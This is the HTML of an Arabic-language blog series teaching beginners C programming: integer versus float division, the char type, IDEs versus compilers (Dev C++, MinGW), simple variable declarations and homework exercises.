ملحوظه مهمه : هو انك لما تستخدم عملية القسمه ي لغة الـ </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">C </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> لازم تستخدم تعريف المتغيرات علي انه </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">float </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> لانك لو اخترت </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">integer </span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">مش هيجيبلك باقي
عملية القسمه يعني مثلا لو قسمنا عددين صحيحين والناتج عدد صحيح مثل : 4 = 2/8 دي مفيهاش اي مشكله اما بقي لو قسمنا
2.6=3/8 وبالتالي البرنامج هيطبع 2 بس وهيسيب الـ 0.6 لو عرفنا المتغير علي انه
عدد صحيح </span><span dir="LTR"></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="LTR"></span>–integer –</span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span>
فقط . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<b><span dir="LTR" style="color: red; font-size: 14.0pt; mso-bidi-language: AR-EG;">Assignment : <o:p></o:p></span></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">الكود
التالي فيه خطأ . هل ممكن معرفة هذا الخطأ ؟؟ ولما لم يتم طباعة الناتج ؟؟ .<o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-57l2SA54t8E/T-e9cnjiemI/AAAAAAAAATY/kMQAvtYAQMs/s1600/assignement.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="360" src="http://3.bp.blogspot.com/-57l2SA54t8E/T-e9cnjiemI/AAAAAAAAATY/kMQAvtYAQMs/s640/assignement.png" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<b><span lang="AR-EG" style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">النوع التالت : </span></b><b><span dir="LTR" style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">character</span></b><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"> <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">ودا
لتعريف متغير به حرف من الحروف وليكن </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">A </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> . وطبعا اي رمز او اي علامه نوعها</span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">character </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">مثال : احنا هنكتب كود بسيطه لبرنامج يقوم بعكس
مجموعة حروف مدخله للبرنامج يعني مثلا هندخله </span></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">ABC </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> وهيطبعلنا </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">CBA </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> . <o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-ht4S4EZUyFU/T-e9dgaJBgI/AAAAAAAAATg/APaDn3WPHJ0/s1600/char.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="324" src="http://3.bp.blogspot.com/-ht4S4EZUyFU/T-e9dgaJBgI/AAAAAAAAATg/APaDn3WPHJ0/s640/char.png" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;"> </span></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">والناتج الخاص بالبرنامج . </span></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-MjYm2scBB8Q/T-e9eWWi0qI/AAAAAAAAATs/ep94KtI7jKw/s1600/char_results.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="360" src="http://2.bp.blogspot.com/-MjYm2scBB8Q/T-e9eWWi0qI/AAAAAAAAATs/ep94KtI7jKw/s640/char_results.png" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span style="font-size: 19px;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">ملحوظه
: في انواع الـ </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">char </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> يتم تعريفها بالـ </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">single quotes </span><span dir="RTL"></span><span style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> </span><span dir="LTR"></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="LTR"></span>‘’
</span><span dir="RTL"></span><span style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> <span lang="AR-EG">مش </span></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">double quotes </span><span dir="RTL"></span><span style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> <span lang="AR-EG"><o:p></o:p></span></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">يعني
انا لما كتبت <o:p></o:p></span></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590">
<div class="MsoNormal" dir="LTR">
<span style="font-size: 14.0pt; mso-bidi-language: AR-EG;">First = ‘A’;<o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">Not First = “A”;<o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<b><u><span dir="LTR" style="color: red; font-size: 14.0pt; mso-bidi-language: AR-EG;">Assignment </span></u></b><span dir="RTL"></span><b><u><span lang="AR-EG" style="color: red; font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span>:<o:p></o:p></span></u></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">اكتب برنامج لطباعة كلمة </span></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">HELLO </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> ولكن يتم طباعتها في
بلوكات من الحروف<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">اكتب برنامج لطباعة اسمك .</span></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">اكتب برنامج لحساب مساحة مستطيل طوله 4 وعرضه 7
ومره اخري طوله 8.4 وعرضه 5.2 . </span></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: ltr; text-align: left; unicode-bidi: embed;">
<span style="font-size: 19px;"><span style="color: red;">- You Can Download PDF File From</span> <a href="http://www.mediafire.com/?71hz31rk66a7faq">Here </a></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<span dir="LTR" style="color: blue; font-size: 14.0pt; mso-bidi-language: AR-EG;">With My Best Wishes<o:p></o:p></span></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<span dir="LTR" style="color: blue; font-size: 14.0pt; mso-bidi-language: AR-EG;">Ahmed Sherif <o:p></o:p></span></div>
</div>Anonymoushttp://www.blogger.com/profile/12539100610108911202noreply@blogger.com0tag:blogger.com,1999:blog-196454505171129982.post-60584459723553378872012-06-18T11:33:00.000-07:002012-06-18T11:57:05.730-07:00Lesson 2 - Basics of programming<div dir="rtl" style="text-align: right;" trbidi="on">
<div style="text-align: center;">
<img height="476" src="https://fbcdn-sphotos-a.akamaihd.net/hphotos-ak-ash3/542469_255259657908933_856474857_n.jpg" width="640" />
</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
</div>
<div align="center" class="MsoNormal">
<b><u><span style="color: red; font-size: 14pt;">Lecture 2 – Basics of programming : </span></u></b><b><u><span dir="RTL" lang="AR-EG" style="color: red; font-size: 14pt;">أساسيات
البرمجه<o:p></o:p></span></u></b></div>
<div align="center" class="MsoNormal">
<br /></div>
<div align="center" class="MsoNormal">
<br /></div>
<div align="right" class="MsoNormal" style="text-align: right;">
<span dir="RTL" lang="AR-EG">الشرح السابق تضمن اساسيات انظمة التشغيل
وتاريخ الحاسب .. كما قمت بعرض بعض التفاصيل الخاصه بلغات منخفضة المستوي حتي
نستطيع معرفة الفرق الشاسع بينها وبين لغات البرمجه العالية المستوي .<o:p></o:p></span></div>
<div align="right" class="MsoNormal" style="text-align: right;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<b><u><span lang="AR-EG" style="color: #ff6600; font-size: 14pt;">اولاّ : ماهو الـ </span></u></b><b><u><span dir="LTR" style="color: #ff6600; font-size: 14pt;">IDE </span></u></b><span dir="RTL"></span><b><u><span lang="AR-EG" style="color: #ff6600; font-size: 14pt;"><span dir="RTL"></span> : <o:p></o:p></span></u></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">هو اختصار لـ </span><span dir="LTR">Integrated development environment
</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> عباره عن
بيئة متكاملة للمبرمجين تحتوي علي </span><span dir="LTR">Compiler , linker , project manager and debugger </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> وهندرس كل واحده منهم بالتفصيل . لكن الخطأ
الشائع اللي عايز اصححه عند الناس هو انه هناك فرق بين الـ </span><span dir="LTR">compiler </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> والـ </span><span dir="LTR">IDE </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> . مثل ما
ذكرت ان الثاني هو بيئه متكامله للمبرمج ويحتوي ايضا علي الـ </span><span dir="LTR">compiler </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21.0pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt; text-align: right; text-indent: -.25in; unicode-bidi: embed;">
<span style="color: #3366ff;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: #3366ff;">مثال : <o:p></o:p></span></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">الـ </span><span dir="LTR">Dev C++ </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> دا عباره عن </span><span dir="LTR">IDE </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> وليس </span><span dir="LTR">Compiler </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> كما يعتقد
البعض فهو بيئه متكامله للمبرمج وليس مجرد برنامج لترجمة الاكواد . </span><span dir="LTR"><o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-t3XkO2mzy7c/T99u1Rh0MZI/AAAAAAAAARw/xaqdx4WRPac/s1600/devcpp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="456" src="http://1.bp.blogspot.com/-t3XkO2mzy7c/T99u1Rh0MZI/AAAAAAAAARw/xaqdx4WRPac/s640/devcpp.jpg" width="640" /></a></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3pt; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">مثل ماهو موضح بالصوره فبرنامج الـ </span><span dir="LTR">Dev C++ </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> به الكثير من
الادوات التي قمت بذكرها في الاعلي . اما </span><span dir="LTR">Dev C++ </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> نفسه ليس
كومبايلر ولكن يحتوي علي كومبايلر يسمي </span><span dir="LTR">mingow32 </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> وهذا هو
الموقع الخاص بالكومبايلر : <o:p></o:p></span></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; margin-left: 3.0pt; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border-bottom: solid windowtext 1.0pt; border: none; mso-cell-special: placeholder;" width="4"><div class="MsoNormal">
<br /></div>
</td>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 436.85pt;" valign="top" width="582"><div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<a href="http://www.mingw.org/"><span dir="LTR">http://www.mingw.org/</span></a><span lang="AR-EG"><o:p></o:p></span></div>
</td>
</tr>
<tr>
<td colspan="2" style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 439.8pt;" valign="top" width="586"><div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<b><span lang="AR-EG" style="color: red;">ملحوظه :
طبعا مش محتاجين تنزلوا الكومبايلر دا لانه بينزل جاهز مع الـ </span></b><b><span dir="LTR" style="color: red;">Dev C++ </span></b><span dir="RTL"></span><b><span lang="AR-EG" style="color: red;"><span dir="RTL"></span> وبيقوم باستخدامه <o:p></o:p></span></b></div>
</td>
</tr>
<tr height="0">
<td style="border: none;" width="4"></td>
<td style="border: none;" width="582"></td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21.0pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt; text-align: right; text-indent: -.25in; unicode-bidi: embed;">
<span style="color: #3366ff;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: #3366ff;">طيب حاليا يوجد طريقتين للبرمجه : <o:p></o:p></span></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">طريقة الـ </span><span dir="LTR">Command
line </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> وطريقة الـ </span><span dir="LTR">IDE </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> بالنسبه للاولي فهي عباره عن انك تكتب الاكواد
في </span><span dir="LTR">Text editor </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> عادي وبعد كده تعملها كومبايل .<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21.0pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt; text-align: right; text-indent: -.25in; unicode-bidi: embed;">
<span style="color: #3366ff;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: #3366ff;">مثال : <o:p></o:p></span></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #3366ff;"> </span><span lang="AR-EG">انا دلوقتي نزلت برنامج </span><span dir="LTR">notepad ++ </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> دا برنامج بيسحملي باني اكتب اكود عليه برنامج
محرر نصوص عادي جدا زيه زي الـ </span><span dir="LTR">notepad </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> اللي موجود
في الوندوز لكن متطور عنه طبعا . <o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-nSVB-W5K9Sw/T99vAwA4SUI/AAAAAAAAASo/xddq0hv-pmI/s1600/notepad.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="http://3.bp.blogspot.com/-nSVB-W5K9Sw/T99vAwA4SUI/AAAAAAAAASo/xddq0hv-pmI/s640/notepad.png" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">دي صورة الـ </span><span dir="LTR">notpad
++ </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> .. طيب افترضنا اننا كتبنا
كود بلغة الـ </span><span dir="LTR">C </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> في المحرر دا .. ازاي نشغل البرنامج ونخليه
برنامج تنفيذي يقدر يفهمه الوندوز ؟ .. طبعا دي مش مهمة الـ </span><span dir="LTR">notepad ++ </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ابدا لانه مجرد محرر نصوص لكننا هنحتاج </span><span dir="LTR">compiler </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ممكن مثلا ننزل الكومبايلر اللي كان نازل مع الـ
</span><span dir="LTR">dev c++</span><span dir="RTL"></span><span dir="RTL"></span> <span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span> </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> - </span><span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span> mingw32 –</span><span lang="AR-EG">ونعمل كومبايل ونترجم البرنامج ولكن طبعا الطريقه
دي صعبه و</span><span dir="LTR">advanced </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> شويه دا غير انها هتضيع وقت ومجهود علي
الفاضي ودي كانت الطريقه المستخدمه في
الاول . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">اما بعد كده فتم توفير الـ </span><span dir="LTR">IDE </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> برنامج منه
نكتب الكود ونترجمه في نفس الوقت من غير ما نقعد ننزل برامج كتير عشان تترجم الكود
بتاعنا للوندوز . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<b><u><span lang="AR-EG" style="color: #ff6600; font-size: 14pt;">ثانيا : ماهي وظيفة لغة الـ </span></u></b><b><u><span dir="LTR" style="color: #ff6600; font-size: 14pt;">C </span></u></b><span dir="RTL"></span><b><u><span style="color: #ff6600; font-size: 14pt;"><span dir="RTL"></span> <span lang="AR-EG">: </span></span></u></b><b><u><span dir="LTR" style="color: #ff6600; font-size: 14pt;"><o:p></o:p></span></u></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">طبعا احنا درسنا الاسمبلي وشفنا المعاناه اللي كان بيعاني منها مبرمجين
زمان . وبالتالي فلغة الـ </span><span dir="LTR">C
</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> هي اللي بتقوم بتعريف
البيانات المدخله للجهاز وتنظيمها . احنا عارفين ان الجهاز بيتسقبل </span><span dir="LTR">input </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> علي هيئة بايتات – ارقام – ويتعامل معاها . ميزة
لغة الـ </span><span dir="LTR">C </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> انها بتقوم بتنظيم العملية بين المبرمج والجهاز
بحيث انها بتقوم بتعريف البيانات المدخله للجهاز </span><span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span> Data Declaration </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21.0pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt; text-align: right; text-indent: -.25in; unicode-bidi: embed;">
<span style="color: #3366ff;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: #3366ff;">مثال : <o:p></o:p></span></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #3366ff;"> </span><span lang="AR-EG"> انا دلوقتي لو حبيت ادخل رقم للجهاز او أعرف
مجموعة ارقام عايز ادخلها للجهاز . لغة الـ </span><span dir="LTR">C </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> بتوفرلك دا من خلال تعريف البيانات فمثلا لو
حبيت اقول للجهاز ان فيه 3 ارقام هيدخلولك . <o:p></o:p></span></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; margin-left: 3.0pt; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
</td>
</tr>
<tr>
<td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
int number1; <span dir="RTL" lang="AR-EG">تعريف الرقم الاول<o:p></o:p></span></div>
</td>
</tr>
<tr>
<td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
int number2;<span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span> تعريف الرقم التاني </span><o:p></o:p></div>
</td>
</tr>
<tr>
<td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
int number3;<span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span> تعريف الرقم
التالت </span><o:p></o:p></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG">دلوقتي كده الجهاز عارف انه فيه 3 ارقام هيتعامل معاهم وهيفعل العمليات
الحسابيه لديه للتعامل معهم . وطبعا
التعريفات دي كلها هناخدها بالتفصيل بعدين . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 3.0pt; text-align: right; unicode-bidi: embed;">
